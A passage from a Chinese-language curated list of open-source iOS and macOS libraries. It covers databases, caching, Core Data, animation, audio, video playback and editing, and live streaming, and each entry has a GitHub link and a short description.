* [SwiftyXMLParer](https://github.com/yahoojapan/SwiftyXMLParser) - Simple XML Parser implemented in Swift :large_orange_diamond:
* [HTMLKit](https://github.com/iabudiab/HTMLKit) - An Objective-C framework for your everyday HTML needs.
* [SWXMLHash](https://github.com/drmohundro/SWXMLHash) - Simple XML parsing in Swift :large_orange_diamond:
#### 数据存储@
* [FMDB](https://github.com/ccgus/fmdb) - sqlite的工具. [多线程FMDatabaseQueue实例](https://github.com/tangqiaoboy/FmdbSample)，[FMDB数据库的使用演示和封装工具类](https://github.com/liuchunlao/LVDatabaseDemo)，[基于fmdb 的基本操作](http://code.cocoachina.com/view/128312) 通过 fmdb 进行的数据库的 基本操作(增删改查 )查找是使用 UISearchBar 和UISearchDisplayController 进行混合使用.
* [GDataBase](https://github.com/GIKICoder/GDataBase) - 基于FMDB的ORM数据库存储解决方案. 面向模型和线程安全的API. 一句代码存储,读取.对存储模型无需继承BaseObject. 可自定义多主键,可使用sqlite关键字.可自定义序列化字段等.支持模型黑名单.支持数据库表存储value base64编/解码.对模型无侵入,只需遵守相关协议即可.极大方便项目中使用.
* [WCDB](https://github.com/Tencent/wcdb) - Tencent:WCDB is an efficient, complete, easy-to-use mobile database framework for iOS, macOS.
* [realm-cocoa](https://github.com/realm/realm-cocoa) - 一个号称要代替Core Data & SQLite的用于移动端的数据库，非常不错👍👍 ，同时支持Swift.
* [YapDatabase](https://github.com/yapstudios/YapDatabase) - YapDatabase is an extensible database for iOS & Mac.
* [CoreModel](https://github.com/CharlinFeng/CoreModel) - Replace CoreData.
* [WHC_ModelSqliteKit](https://github.com/netyouli/WHC_ModelSqliteKit) - 专业的数据库存储解决方案.
* [JQFMDB](https://github.com/gaojunquan/JQFMDB) - FMDB的封装,操作简单,线程安全,扩展性强,直接操作model或dictionary.
* [RealmObjectEditor](https://github.com/Ahmed-Ali/RealmObjectEditor) - Realm Object Editor is a visual editor where you can create your Realm entities, attributes and relationships inside a nice user interface. Once you finish, you can save your schema document for later use and you can export your entities in Swift, Objective-C and Java.
* [firebase-ios-sdk](https://github.com/firebase/firebase-ios-sdk) - Firebase是一家实时后端数据库创业公司，它能帮助开发者很快的写出Web端和移动端的应用。 自2014年10月Google收购Firebase以来，用户可以在更方便地使用Firebase的同时，结合Google的云服务.
* [sqlitebrowser](https://github.com/sqlitebrowser/sqlitebrowser) - Official home of the DB Browser for SQLite (DB4S) project. Previously known as "SQLite Database Browser" and "Database Browser for SQLite". Website at: http://sqlitebrowser.org.
* [GXDatabaseUtils](https://github.com/Gerry1218/GXDatabaseUtils) - 在FMDB基础上的工具.
* [MagicalRecord](https://github.com/magicalpanda/MagicalRecord) - CoreData第一库，MagicalRecord就像是给Core Data提供了一层外包装，隐藏掉所有不相关的东西。 其中事务管理及查询是其比较大的亮点，整套 API 功能完整。
* [GKDatabase](https://github.com/ChrisCaixx/GKDatabase) - 基于SQLite3简单封装了下,实现了一行代码解决增删改查等常用的功能!并没有太过高深的知识,主要用了runtime和KVC:请看Demo~ 原理篇请看这里:[简书地址](http://www.jianshu.com/p/0e598147debc).
* [CoreStore](https://github.com/AfryMask/AFBrushBoard) - Core Data 管理类库。 其中事务管理及查询是其比较大的亮点，整套 API 功能完整.
* [mogenerator](http://rentzsch.github.io/mogenerator/) - mogenerator为你定义了的Core Data生成默认的数据类。与xCode不一样的是(xCode一个Entity只生成一个NSManagedObject的子类)，mogenerator会为每一个Entity生成两个类。一个为机器准备，一个为人类准备。为机器准备的类一直去匹配data model。为人类准备的类就给你轻松愉快的去修改和保存.
* [Presentation](https://github.com/hyperoslo/Presentation) - 重量级好项目 Presentation，它可以方便你制作定制的动画式教程、Release Notes、个性化演讲稿等.
* [SQLCipher](https://github.com/sqlcipher/sqlcipher) - SQLCipher使用256-bit AES加密，SQLCipher分为收费版本和免费版本。[官方教程](https://www.zetetic.net/sqlcipher/ios-tutorial/)， [加密你的SQLite](http://foggry.com/blog/2014/05/19/jia-mi-ni-de-sqlite/) - 各种sqlite数据库加密介绍。 [SQLCipherDemo下载](http://download.csdn.net/detail/wzzvictory_tjsd/7379055) 。
* [Couchbase Mobile](https://developer.couchbase.com/mobile/) - Couchbase document store for mobile with cloud sync.
* [FCModel](https://github.com/marcoarment/FCModel) - An alternative to Core Data for people who like having direct SQL access.
* [Zephyr](https://github.com/ArtSabintsev/Zephyr) - Effortlessly synchronize NSUserDefaults over iCloud. :large_orange_diamond:
* [Storez](https://github.com/SwiftKitz/Storez) - Safe, statically-typed, store-agnostic key-value storage (with namespace support). :large_orange_diamond:
* [ParseAlternatives](https://github.com/relatedcode/ParseAlternatives) - A collaborative list of Parse alternative backend service providers.
* [TypedDefaults](https://github.com/tasanobu/TypedDefaults) - TypedDefaults is a utility library to type-safely use NSUserDefaults. :large_orange_diamond:
* [realm-cocoa-converter](https://github.com/realm/realm-cocoa-converter) - A library that provides the ability to import/export Realm files from a variety of data container formats. :large_orange_diamond:
* [RealmGeoQueries](https://github.com/mhergon/RealmGeoQueries) - RealmGeoQueries simplifies spatial queries with Realm Cocoa. In the absence of and official functions, this library provide the possibility to do proximity search. :large_orange_diamond:[e]
* [ObjectiveRocks](https://github.com/iabudiab/ObjectiveRocks) - An Objective-C wrapper of Facebook's RocksDB - A Persistent Key-Value Store for Flash and RAM Storage.
* [OHMySQL](https://github.com/oleghnidets/OHMySQL) - An Objective-C wrapper of MySQL C API.
* [OneStore](https://github.com/muukii/OneStore) - A single value proxy for NSUserDefaults, with clean API. :large_orange_diamond:
* [Nora](https://github.com/SD10/Nora) - Nora is a Firebase abstraction layer for working with FirebaseDatabase and FirebaseStorage. :large_orange_diamond:
* [PersistentStorageSerializable](https://github.com/IvanRublev/PersistentStorageSerializable) - Swift library that makes easier to serialize the user's preferences (app's settings) with system User Defaults or Property List file on disk. :large_orange_diamond:
* [StorageKit](https://github.com/StorageKit/StorageKit) - Your Data Storage Troubleshooter 🛠 .
* [sequelpro](https://github.com/sequelpro/sequelpro) - MySQL/MariaDB database management for macOS.
#### 缓存处理@
* [YTKKeyValueStore](https://github.com/yuantiku/YTKKeyValueStore) - Key-Value存储工具类，[说明](http://tangqiaoboy.gitcafe.io/blog/2014/10/03/opensouce-a-key-value-storage-tool/)。
* [JLKeychain](https://github.com/jl322137/JLKeychain) - 快捷使用keychain存储数据的类，使keychain像NSUserDefaults一样工作.
* [UICKeyChainStore](https://github.com/kishikawakatsumi/UICKeyChainStore) - 封装keychain，使keychain像NSUserDefaults一样简单.
* [sskeychain](https://github.com/soffes/sskeychain) - SSKeyChains对苹果安全框架API进行了简单封装,支持对存储在钥匙串中密码、账户进行访问,包括读取、删除和设置.
* [KeychainAccess](https://github.com/kishikawakatsumi/KeychainAccess) - 管理Keychain接入的小助手.
* [YYCache](https://github.com/ibireme/YYCache) - 高性能的 iOS 缓存框架.
* [RuntimeDemo](https://github.com/CoderJackyHuang/RuntimeDemo) - runtime自动归档/解档,[源码分析](http://www.henishuo.com/runtime-archive-unarchive-automaticly/).
* [PINCache](https://github.com/pinterest/PINCache) - 适用于 iOS，tvOS 和 OS X 的快速、无死锁的并行对象缓存框架.
#### 序列化@
* [FastCoding](https://github.com/nicklockwood/FastCoding) - 是用来替代OSX及iOS中默认的序列化实现。它结构简单（仅头文件和.m文件两个）、支持ARC，线程安全，速度较内置实现更快.
#### coreData@
* [CWCoreData](https://github.com/jayway/CWCoreData) - Additions and utilities to make it concurrency easier with the Core Data framework.
* [ObjectiveRecord](https://github.com/supermarin/ObjectiveRecord) - ActiveRecord for Objective-C.
* [SSDataKit](https://github.com/soffes/SSDataKit) - Eliminate your Core Data boilerplate code.
* [ios-queryable](https://github.com/martydill/ios-queryable) - ios-queryable is an implementation of IQueryable/IEnumerable for Core Data.
* [Ensembles](https://github.com/drewmccormack/ensembles) - A synchronization framework for Core Data.
* [SLRESTfulCoreData](https://github.com/OliverLetterer/SLRESTfulCoreData) - Objc naming conventions, autogenerated accessors at runtime, URL substitutions and intelligent attribute mapping.
* [Mogenerator](https://github.com/rentzsch/mogenerator) - Automatic Core Data code generation.
* [HardCoreData](https://github.com/Krivoblotsky/HardCoreData) - CoreData stack and controller that will never block UI thread.
* [encrypted-core-data](https://github.com/project-imas/encrypted-core-data) - Core Data encrypted SQLite store using SQLCipher.
* [MagicalRecord](https://github.com/magicalpanda/MagicalRecord) - Super Awesome Easy Fetching for Core Data.
* [QueryKit](https://github.com/QueryKit/QueryKit) - A simple type-safe Core Data query language. :large_orange_diamond:
* [CoreStore](https://github.com/JohnEstropia/CoreStore) - Powerful Core Data framework for Incremental Migrations, Fetching, Observering, etc. :large_orange_diamond:
* [Core Data Query Interface](https://github.com/prosumma/CoreDataQueryInterface) - A type-safe, fluent query framework for Core Data. :large_orange_diamond:
* [CoreDataDandy](https://github.com/fuzz-productions/CoreDataDandy) - A feature-light wrapper around Core Data that simplifies common database operations. :large_orange_diamond:
* [CoreDataStack](https://github.com/bignerdranch/CoreDataStack) - The Big Nerd Ranch Core Data Stack :large_orange_diamond:
* [Skopelos](https://github.com/albertodebortoli/Skopelos) - A minimalistic, thread safe, non-boilerplate and super easy to use version of Active Record on Core Data. Simply all you need for doing Core Data. Swift flavour. :large_orange_diamond:
* [DataKernel](https://github.com/mrdekk/DataKernel) - Simple CoreData wrapper to ease operations. :large_orange_diamond:
* [JustPersist](https://github.com/justeat/JustPersist) - JustPersist is the easiest and safest way to do persistence on iOS with Core Data support out of the box.
* [PrediKit](https://github.com/KrakenDev/PrediKit) - An NSPredicate DSL for iOS, macOS, tvOS, & watchOS. Inspired by SnapKit and lovingly written in Swift. :large_orange_diamond:
#### 动画@
* [lottie-ios](https://github.com/airbnb/lottie-ios) - 非常赞 一个用来渲染After Effects矢量动画的iOS库,同时支持iOS,Android与ReactNative的开发.
* [AIAnimationDemo](https://github.com/aizexin/AIAnimationDemo) - 非常不错的一个各种动画Demo集合库👍👍 .
* [pop](https://github.com/facebook/pop) - facebook出品的非常赞的动画引擎.
* [AwesomeMenu](https://github.com/levey/AwesomeMenu) - 该项目主要是使用 CoreAnimation 还原了 Path menu 的动画效果 Path 2.0 menu using CoreAnimation :) https://github.com/levey/AwesomeMenu
* [MMTweenAnimation](https://github.com/adad184/MMTweenAnimation) - 一个基于 POP 的扩展，提供了 10 种自定义的动效.
* [XHLaunchAd](https://github.com/CoderZhuXH/XHLaunchAd) - XHLaunchAd开机启动广告解决方案-支持静态/动态图片广告,mp4视频广告,全屏/半屏广告、兼容iPhone/iPad.
* [Core Animation笔记，基本的使用方法](http://www.starming.com/index.php?v=index&view=62) - Core Animation笔记，基本的使用方法：1.基本动画，2.多步动画，3.沿路径的动画，4.时间函数，5.动画组.
* [awesome-ios-animation](https://github.com/sxyx2008/awesome-ios-animation) - [iOS Animation 主流炫酷动画框架(特效)收集整理](https://github.com/sxyx2008/DevArticles/issues/91) 收集整理了下iOS平台下比较主流炫酷的几款动画框架.
* [TABAnimated](https://github.com/tigerAndBull/TABAnimated) - 一个由iOS原生组件映射出骨架屏的框架，包含快速植入，低耦合，兼容复杂视图等特点，提供国内主流骨架屏动画的加载方案，同时支持自定制动画.
* [AGGeometryKit](https://github.com/agens-no/AGGeometryKit) - 几何图形框架，把AGGeometryKit和POP结合起来使用，可实现非常棒的动态和动画.
* [FleaMarket](https://github.com/SunLiner/FleaMarket) - "咸鱼"新特性-视频动画.
* [JHChainableAnimations](https://github.com/jhurray/JHChainableAnimations) - 在应用中采用链式写出酷炫的动画效果, 使代码更加清晰易读，利用block实现的链式编程，同时支持Swift.
* [awesome-animation](https://github.com/Animatious/awesome-animation) - 动效库.
* [BCMagicTransition](https://github.com/boycechang/BCMagicTransition) - 一个动效框架，用于自定义UINavigationController的切换动画，效果类似 Keynote 软件中 Magic Move 切换。它可以用于任意两个UIViewController之间，只需指定两个VC中的相同元素即可.
* [popping](https://github.com/schneiderandre/popping) - popping是一个POP使用实例工程.
* [MMTweenAnimation](https://github.com/adad184/MMTweenAnimation) - facebook POP的自定义动画扩展(基于POPCustomAnimation) 提供10种函数式动画.
* [ZQLRotateMenu](https://github.com/zangqilong198812/ZQLRotateMenu) - 这是一个旋转视图的选择器.
* [CoolLoadAniamtion](https://github.com/zangqilong198812/CoolLoadAniamtion) - 一个简单但是效果不错的loading动画.
* [Animations](https://github.com/YouXianMing/Animations) - The Animation Collection.
* [JSDownloadView](https://github.com/Josin22/JSDownloadView) - 精巧顺滑的下载动画.
* [SYAppStart](https://github.com/yushuyi/SYAppStart) - App启动插画的自定义过度.
* [VJDeviceSpecificMedia](https://github.com/victorjiang/UIImage-VJDeviceSpecificMedia/) - [如何根据设备选择不同尺寸的图片](http://www.imooc.com/wenda/detail/249271) 可以通过设置不同尺寸设备的LaunchImage，来使得App适配这些设备，要是在不同不同尺寸设备上使用不同大小的图片，则需要在代码中一一判断，然后加载.
* [KYBezierBounceView](https://github.com/KittenYang/KYBezierBounceView) - 手势控制贝塞尔曲线，取消手势贝塞尔曲线会有反弹效果.
* [cadisplaylinkanduibezierpath](http://kittenyang.com/cadisplaylinkanduibezierpath/) - CADisplayLink结合UIBezierPath的神奇妙用.
* [KYCuteView](https://github.com/KittenYang/KYCuteView) - 实现类似QQ消息拖拽消失的交互+GameCenter的浮动小球效果，[分析](http://kittenyang.com/drawablebubble/).
* [KYWaterWaveView](https://github.com/KittenYang/KYWaterWaveView) - 一个内置波浪动画的UIView，里面有鱼跳跃水溅起来的效果.
* [KYPingTransition](https://github.com/KittenYang/KYPingTransition) - 实现圆圈放大放小的转场动画，可以根据自己的需要使用Paper中的弹性效果，有Material风格.
* [KYNewtonCradleAnimiation](https://github.com/KittenYang/KYNewtonCradleAnimiation) - 牛顿摆动画.
* [LayerPlayer](https://github.com/scotteg/LayerPlayer) - 一款全面展示核心动画 API 示例项目（上架应用）。包括 CALayer, CAScrollLayer, CATextLayer, AVPlayerLayer, CAGradientLayer, CAReplicatorLayer, CATiledLayer, CAShapeLayer, CAEAGLLayer, CATransformLayer, CAEmitterLayer 等使用的互动演示.
* [KYShareMenu](https://github.com/KittenYang/KYShareMenu) - 带弹性动画的分享菜单.
* [Context-Menu.iOS](https://github.com/Yalantis/Context-Menu.iOS) - 可以为app的菜单添加漂亮的动画内容，可自定义icon，并可根据自己的喜好设计单元格和布局.
* [DeformationButton](https://github.com/LuciusLu/DeformationButton) - 一个简单的变换形状动画按钮.
* [UnReadBubbleView](https://github.com/heroims/UnReadBubbleView) - UnReadBubbleView是一个能够拖拽并拉长的气泡视图。拖拽到一定的长度会消失，可以通过系数设置来控制拖拽的长度。气泡也支持多种属性设置。
* [PPDragDropBadgeView](https://github.com/smallmuou/PPDragDropBadgeView) - 实现了类似于QQ 5.0 水滴拖拽效果. 支持iOS 5.0+ ARC，气泡能够带有数字标识，同时支持消失block方法。消失时还带有消失效果动画。
* [GiftCard-iOS](https://github.com/MartinRGB/GiftCard-iOS) - 礼品卡购买的炫酷动画.
* [GiftCard-Implementation](https://github.com/MartinRGB/GiftCard-iOS) - 购买的炫酷动画.
* [KIPageView](https://github.com/smartwalle/KIPageView) - 无限循环PageView，横向TableView，无限轮播.
* [简单实用的无限循环轮播图](http://code.cocoachina.com/view/128288) - 简单实用的无限循环轮播图.
* [CPInfiniteBanner](https://github.com/crespoxiao/CPInfiniteBanner) - 是一个循环播放的组件，可以左右无缝滑动,3个imageview实现。[高效图片轮播，两个ImageView实现](http://ios.jobbole.com/84711/).
* [XTLoopScroll](https://github.com/Akateason/XTLoopScroll) - 用两个 timer 三个重用的 view 实现无限循环 scrollView，1自动轮播 2点击监听回调当前图片 3手动滑动后重新计算轮播的开始时间, 良好的用户体验.
* [HotGirls](https://github.com/zangqilong198812/HotGirls) - 卡片动画.
* [Ease](https://github.com/roberthein/Ease) - Animate everything with Ease.
* [KYAnimatedPageControl](https://github.com/KittenYang/KYAnimatedPageControl) - 除了滚动视图时PageControl会以动画的形式一起移动，点击目标页还可快速定位。支持两种样式：粘性小球和旋转方块。
* [Presentation](https://github.com/hyperoslo/Presentation) - 一个类似RazzleDazzle的框架.
* [FillableLoaders](https://github.com/poolqf/FillableLoaders) - 基于 CGPaths 可定制个性化填空式装载类库。附水波上涨式示例.
* [SXWaveAnimate](https://github.com/dsxNiubility/SXWaveAnimate) - 实现非常美观的灌水动画.
* [LSPaomaView](https://github.com/liusen001/LSPaomaView) - 可循环滚动的较长文字，跑马灯，效果很好，一句话集成.
* [Cheetah](https://github.com/suguru/Cheetah) - 易用、高可读链式动画类库。另一个类似类库是 [DKChainableAnimationKit](https://github.com/Draveness/DKChainableAnimationKit).
* [CKWaveCollectionViewTransition](https://github.com/CezaryKopacz/CKWaveCollectionViewTransition) - swift， UICollectionViewController之间切换的动画.
* [TKSubmitTransition](https://github.com/entotsu/TKSubmitTransition) - 基于 UIButton 的登录加载、返回按钮转场动画组件及示例.
* [ARAnimation](https://github.com/AugustRush/ARAnimation) - ARAnimation 对 Core Animation 进行了封装, 帮助 iOS 开发者能更加便捷的在项目中使用动画.
* [渐变特效文字](http://code.cocoachina.com/view/127174) - 做了一个仿iPhone的移动滑块来解锁的渐变特效文字,还有一个类似ktv歌词显示的文字特效.
* [HYAwesomeTransition](https://github.com/nathanwhy/HYAwesomeTransition) - 模仿格瓦拉的转场效果.
* [RYCuteView](https://github.com/Resory/RYCuteView) - 用UIBezierPath实现果冻效果。 [教程](http://www.jianshu.com/p/21db20189c40)
* [STLBGVideo](https://github.com/StoneLeon/STLBGVideo) - STLBGVideo让您的视图控制器的自定义backgroundvideo,[实现说明1](http://www.jianshu.com/p/c4704c086b67)、[实现说明2](http://www.jianshu.com/p/3dcebf0493d1).
* [MYBlurIntroductionView](https://github.com/MatthewYork/MYBlurIntroductionView) - 方便好用的引导类库，在App注册登录页面可以用到.
* [ZFCityGuides](https://github.com/WZF-Fei/ZFCityGuides) - 实现City Guides的动画效果，数字动态变化的动画效果.
* [INPopoverController](https://github.com/indragiek/INPopoverController) - OS X可自由定制的 Popover 视图.
* [WZXJianShuPopDemo](https://github.com/Wzxhaha/WZXJianShuPopDemo) - 仿简书、淘宝等等的View弹出效果，已封装好，使用简单。[实现原理](http://www.jianshu.com/p/a697d2a38b3c)
* [LSAnimator](https://github.com/Lision/LSAnimator) - 非侵入式的多链式动画.
* [PearlSaver](https://github.com/insidegui/PearlSaver) - Face ID detection animation as a screensaver.
* [DGWaveLoadingTool](https://github.com/liudiange/DGWaveLoadingTool) - 实现的功能类似于百度贴吧的波浪动画.
* [Tencent-vap](https://github.com/Tencent/vap) - VAP（Video Animation Player）是企鹅电竞开发，用于播放酷炫动画的实现方案.
#### 转场动画@
* [RZTransitions](https://github.com/Raizlabs/RZTransitions) - A library of custom iOS View Controller Animations and Interactions.
* [AnimatedTransitionGallery](https://github.com/shu223/AnimatedTransitionGallery) - A gallery app of custom animated transitions for iOS.
* [VCTransitionsLibrary](https://github.com/ColinEberhardt/VCTransitionsLibrary) - 不错的转场动画库.
* [WXSTransition](https://github.com/alanwangmodify/WXSTransition) - 转场动画集合.
#### 多媒体@
#### 音频@
* [KTVHTTPCache](https://github.com/ChangbaDevs/KTVHTTPCache) - 唱吧出品音视频在线播放缓存框架.
* [AudioKit](https://github.com/AudioKit/AudioKit) - Swift audio synthesis, processing, & analysis platform for iOS, macOS and tvOS.
* [ESTMusicPlayer](https://github.com/Aufree/ESTMusicPlayer) - 一个简洁、易用的音乐播放器.
* [EZAudio](https://github.com/syedhali/EZAudio) - EZAudio 是一个 iOS 和 OSX 上简单易用的音频框架，根据音量实时显示波形图，基于Core Audio，适合实时低延迟音频处理，非常直观。[中文介绍](https://segmentfault.com/blog/news/1190000000370957),[官网](http://www.syedharisali.com/about).
* [novocaine](https://github.com/alexbw/novocaine) - 高性能的音频，支持iOS and Mac OS X.
* [ROMPlayer](https://github.com/AudioKit/ROMPlayer) - AudioKit Sample Player (ROM Player) - EXS24, Sound Font, Wave Player.
* [SubtleVolume](https://github.com/andreamazz/SubtleVolume) - 用更微妙的指示器替换系统卷弹出窗口.
* [NVDSP](https://github.com/bartolsthoorn/NVDSP) - iOS/OSX DSP for audio (with Novocaine).
* [IQAudioRecorderController](https://github.com/hackiftekhar/IQAudioRecorderController) - 一个可以内置App的、通用的、带有漂亮的用户界面音频录制程序.
* [QuietModemKit](https://github.com/quiet/QuietModemKit) - 静态调制解调器的iOS框架（声音数据）.
* [IOS录音和播放功能demo](http://d.cocoachina.com/code/detail/285717) - 比较完整的ios录音和播放功能的实现.
* [MCAudioInputQueue](https://github.com/msching/MCAudioInputQueue) - 简易录音类，基于AudioQueue的.
* [MusicPlayert](https://github.com/liuFangQiang/MusicPlayer) - MusicPlayert音乐播放器，用reveal可以查看层次关系，主要实现了歌词的同步显示.
* [音乐播放器](http://code.cocoachina.com/view/129435) - 音乐播放器：显示歌词.
* [amr](http://www.penguin.cz/~utx/amr) - 做即时通讯的音频处理，录音文件是m4a，便于web端的音频播放.
* [边录音边转码](http://code4app.com/ios/%E8%BE%B9%E5%BD%95%E9%9F%B3%E8%BE%B9%E8%BD%AC%E7%A0%81/521c65d56803fab864000001) - 一边录音，一边将录制成的 wav 格式音频文件转码成 amr 音频格式。只支持真机运行调试.
* [DFPlayer](https://github.com/ihoudf/DFPlayer) - 简单又灵活的iOS音频播放组件.
#### 视频@
#### 视频播放@
* [FFmpeg](https://github.com/FFmpeg/FFmpeg) - 一个处理多媒体数据的开源、免费的库,可以用来记录、转换数字音频、视频，并能将其转化为流. [ffmpeg](http://ffmpeg.org/) - ffmpeg官网，[FFmpeg在iOS上完美编译](http://www.cocoachina.com/ios/20150514/11827.html).
* [vlc](https://github.com/videolan/vlc) - VLC media player.
* [mpv](https://github.com/mpv-player/mpv) - 非常👍👍👍 🎥 Video player based on MPlayer/mplayer2.
* [ijkplayer](https://github.com/Bilibili/ijkplayer) - 非常赞 B站开源的视频播放器，支持Android和iOS. [iOS中集成ijkplayer视频直播框架](http://www.jianshu.com/p/1f06b27b3ac0)。
* [ZFPlayer](https://github.com/renzifeng/ZFPlayer) - 非常赞 基于AVPlayer，支持横屏、竖屏（全屏播放还可锁定屏幕方向），上下滑动调节音量、屏幕亮度，左右滑动调节播放进度.
* [WMPlayer](https://github.com/zhengwenming/WMPlayer) 赞 WMPlayer视频播放器，AVPlayer的封装，继承UIView，想怎么玩就怎么玩。支持播放mp4、m3u8、3gp、mov，网络和本地视频同时支持。全屏和小屏播放同时支持。 cell中播放视频，全屏小屏切换自如.
* [KJPlayer](https://github.com/yangKJ/KJPlayerDemo) - 目前已封装三种内核：AVPlayer内核、IJKPlayer内核、MIDIPlayer内核，视频播放壳子：动态切换内核，支持边下边播边缓存的播放器方案，支持试看、跳过片头片尾、自动记忆上次播放时间、手势操作锁定屏幕等等日常播放器功能。
* [XCDYouTubeKit](https://github.com/0xced/XCDYouTubeKit) - 一个能够在国内播放YouTube视频的播放器.
* [MRVLCPlayer](https://github.com/Maru-zhang/MRVLCPlayer) - 相信Mac用户都很熟悉一款VLC播放器，这款播放器在Mac上表现异常优异，支持的格式几乎涵盖了所有格式（就是这么屌！）。没错，就是它创造者--VideoLAN，开源了一款牛逼的视频播放框架MobileVLCKit！[介绍信息：] (http://gold.xitu.io/entry/578c304b2e958a0054320503?from=singlemessage&isappinstalled=1).
* [plask](https://github.com/deanm/plask) - Plask is a multimedia programming environment.
* [KRVideoPlayer](https://github.com/36Kr-Mobile/KRVideoPlayer) - 36Kr出品的类似Weico的播放器，支持竖屏模式下全屏播放.
* [JPVideoPlayer](https://github.com/Chris-Pan/JPVideoPlayer) - 类似微博主页在列表中自动播放视频.
* [HcdCachePlayer](https://github.com/Jvaeyhcd/HcdCachePlayer) - 在线视频边下边播，支持缓存到本地.
* [bilibili-mac-client](https://github.com/typcn/bilibili-mac-client) - 👍 bilibili非官方的mac客户端.
* [PBJVideoPlayer](https://github.com/piemonte/PBJVideoPlayer) - 一个易用的流媒体播放器.
* [KrVideoPlayerPlus](https://github.com/PlutusCat/KrVideoPlayerPlus) - 根据36Kr开源的KRVideoPlayer 进行修改和补充实现一个轻量级的视频播放器，满足大部分视频播放需求.
* [PKShortVideo](https://github.com/pepsikirk/PKShortVideo) - iOS仿微信小视频功能开发优化记录.
* [SGPlayer](https://github.com/libobjc/SGPlayer) - A powerful media player framework for iOS, macOS, and tvOS. Support 360° panorama video, VR video. RTMP streaming.
* [AVAnimator](http://www.modejong.com/AVAnimator/) - 一个不错的原生的开源视频库，可以轻松实现视频、音频的功能.
* [SSVideoPlayer](https://github.com/immrss/SSVideoPlayer) - 一个支持本地和网络视频播放的库.
* [SRGMediaPlayer-iOS](https://github.com/SRGSSR/SRGMediaPlayer-iOS) - 一个提供简洁的方法为iOS应用添加通用的音频、视频播放的库.
* [ABMediaView](https://github.com/andrewboryk/ABMediaView) - 一个UIImageView的子类，可以播放本地和来源于网络的图片、视频、GIF和音频,可以最小化和全屏,同时支持视频设置GIF预览图.
* [kxmovie](https://github.com/kolyvan/kxmovie) - 使用ffmpeg的影片播放器，[修改说明](http://www.cocoachina.com/bbs/read.php?tid=145575)， [修改代码](https://github.com/kinglonghuang)，[基于FFmpeg的kxMoive艰难的编译运行](https://github.com/namebryant/FFmpeg-Compilation).
* [JPVideoPlayer](https://github.com/newyjp/JPVideoPlayer) - Automatic play video in UITableView like Weibo home page in main thread and never block it.
* [StreamingKit](https://github.com/tumtumtum/StreamingKit) - StreamingKit流媒体音乐播放器.
* [FreeStreamer](https://github.com/muhku/FreeStreamer) - FreeStreamer流媒体音乐播放器，cpu占用非常小.
* [DOUAudioStreamer](https://github.com/douban/DOUAudioStreamer) - DOUAudioStreamer豆瓣的音乐流媒体播放器.
* [fmpro](https://github.com/fmpro/fmpro) - 电台播放器，支持锁屏歌词，支持基本播放流程，歌词展示，后台锁屏播放和控制以及锁屏后封面+歌词，[fmpro_R](https://github.com/jovisayhehe/fmpro_R) .
* [TBPlayer](https://github.com/suifengqjn/TBPlayer) - 视频变下变播，把播放器播放过的数据流缓存到本地，支持拖动,采用avplayer.[实现说明](http://www.jianshu.com/p/990ee3db0563).
* [IWatch](https://github.com/280772270/IWatch) - 一个视频日报类的app 播放器用到了AVFoudation.
* [自定义视频播放器AVPlayer](http://code.cocoachina.com/view/128253) - 利用系统类AVPlayer实现完全自定义视频播放器，显示播放时间，缓存等功能。代码清晰，注释详细.
* [DraggableYoutubeFloatingVideo](https://github.com/vizllx/DraggableYoutubeFloatingVideo) - 展示像类似Youtube移动应用的那种浏览视频的效果，当点击某视频时能够从右下方弹出一个界面，并且该界面能够通过手势，再次收缩在右下方并继续播放,通过AutoLayout设计实现.
* [SRGMediaPlayer-iOS](https://github.com/SRGSSR/SRGMediaPlayer-iOS) - The SRG Media Player library for iOS provides a simple way to add a universal audio / video player to any iOS application.
* [ios-360-videos](https://github.com/NYTimes/ios-360-videos) - NYT360Video plays 360-degree video streamed from an AVPlayer on iOS.
* [GAPlayer](https://github.com/CodeisSunShine/GAPlayer) - 播放器内核为IJKPlayer和AVPlayer(一句代码切换内核) 支持M3U8/MP3/MP4等格式本地/在线播放,支持片头/片尾广告等功能齐全的播放器.
* [KJPlayer](https://github.com/yangKJ/KJPlayerDemo) - KJPlayer是一款视频播放器，AVPlayer的封装，继承UIView。支持播放网络和本地视频、播放多种格式，视频边下边播、优先播放缓存视频，支持拖动、手势快进倒退、增大减小音量、重力感应切换横竖屏等等
#### 视频处理@
* [BeautifyFaceDemo](https://github.com/Guikunzhi/BeautifyFaceDemo) - 一个基于 GPUImage 的实时直播磨皮滤镜的开源实现,主要功能脸部去斑磨皮.
* [simplest_ffmpeg_mobile](https://github.com/leixiaohua1020/simplest_ffmpeg_mobile) ffmpeg examples in Android / IOS / WinPhone.
* [WAVideoBox](https://github.com/CoderHenry66/WAVideoBox) - 秒级! 三行代码实现iOS视频压缩、变速、混音、合并、GIF水印、旋转、换音、裁剪 ! 支持不同分辩率，支持你能想到的各种混合操作! 扩展性强...更多功能不断增加中.
#### 视频录制@
* [SCRecorder](https://github.com/rFlex/SCRecorder) - 酷似 Instagram/Vine 的音频/视频摄像记录器，以 Objective-C 为基础的过滤器框架。 你可以做很多如下的操作：记录多个视频录像片段。删除任何你不想要的记录段。可以使用任何视频播放器播放片段。保存的记录可以在序列化的 NSDictionary 中使用。（在 NSUserDefaults 的中操作）添加使用 Core Image 的视频滤波器。可自由选择你需要的 parameters 合并和导出视频.
* [LLSimpleCamera](https://github.com/omergul123/LLSimpleCamera) - 视频录制 A simple, customizable camera control - video recorder for iOS.
* [SlowMotionVideoRecorder](https://github.com/shu223/SlowMotionVideoRecorder) - 120 fps SLO-MO video recorder using AVFoundation. Including convenient wrapper class. Available on the iPhone5s.
* [PBJVision](https://github.com/piemonte/PBJVision) - iOS媒体捕获，点击录制视频，显示运动和照片.
* [ALCameraViewController](https://github.com/AlexLittlejohn/ALCameraViewController) - ALCameraViewController 摄像头视图控制器（含可定制照片选择器，图片简单裁切功能）及演示.
* [VideoBeautify](https://github.com/xujingzhou/VideoBeautify) - 功能酷似美拍,秒拍等应用的源码：对视频进行各种美化处理，采用主题形式进行分类，内含各种滤镜，动画特效和音效等.
* [IPDFCameraViewController](https://github.com/mmackh/IPDFCameraViewController) - 支持相机定焦拍摄、滤镜、闪光、实时边框检测以及透视矫正功能，并有简单易用的API.
#### 视频剪切@
* [ICGVideoTrimmer](https://github.com/itsmeichigo/ICGVideoTrimmer) - ICGVideoTrimmer提供提供视频剪切的视图（类似系统相册中浏览视频时顶部那个条状视图）,左右两个边界选择器还能够自定义.
* [VideoEditing](https://github.com/ShelinShelin/VideoEditing) - Video processing of the video capture and add background music.
#### 直播@
* [LFLiveKit](https://github.com/LaiFengiOS/LFLiveKit) - 开源遵循RTMP协议的直播SDK.
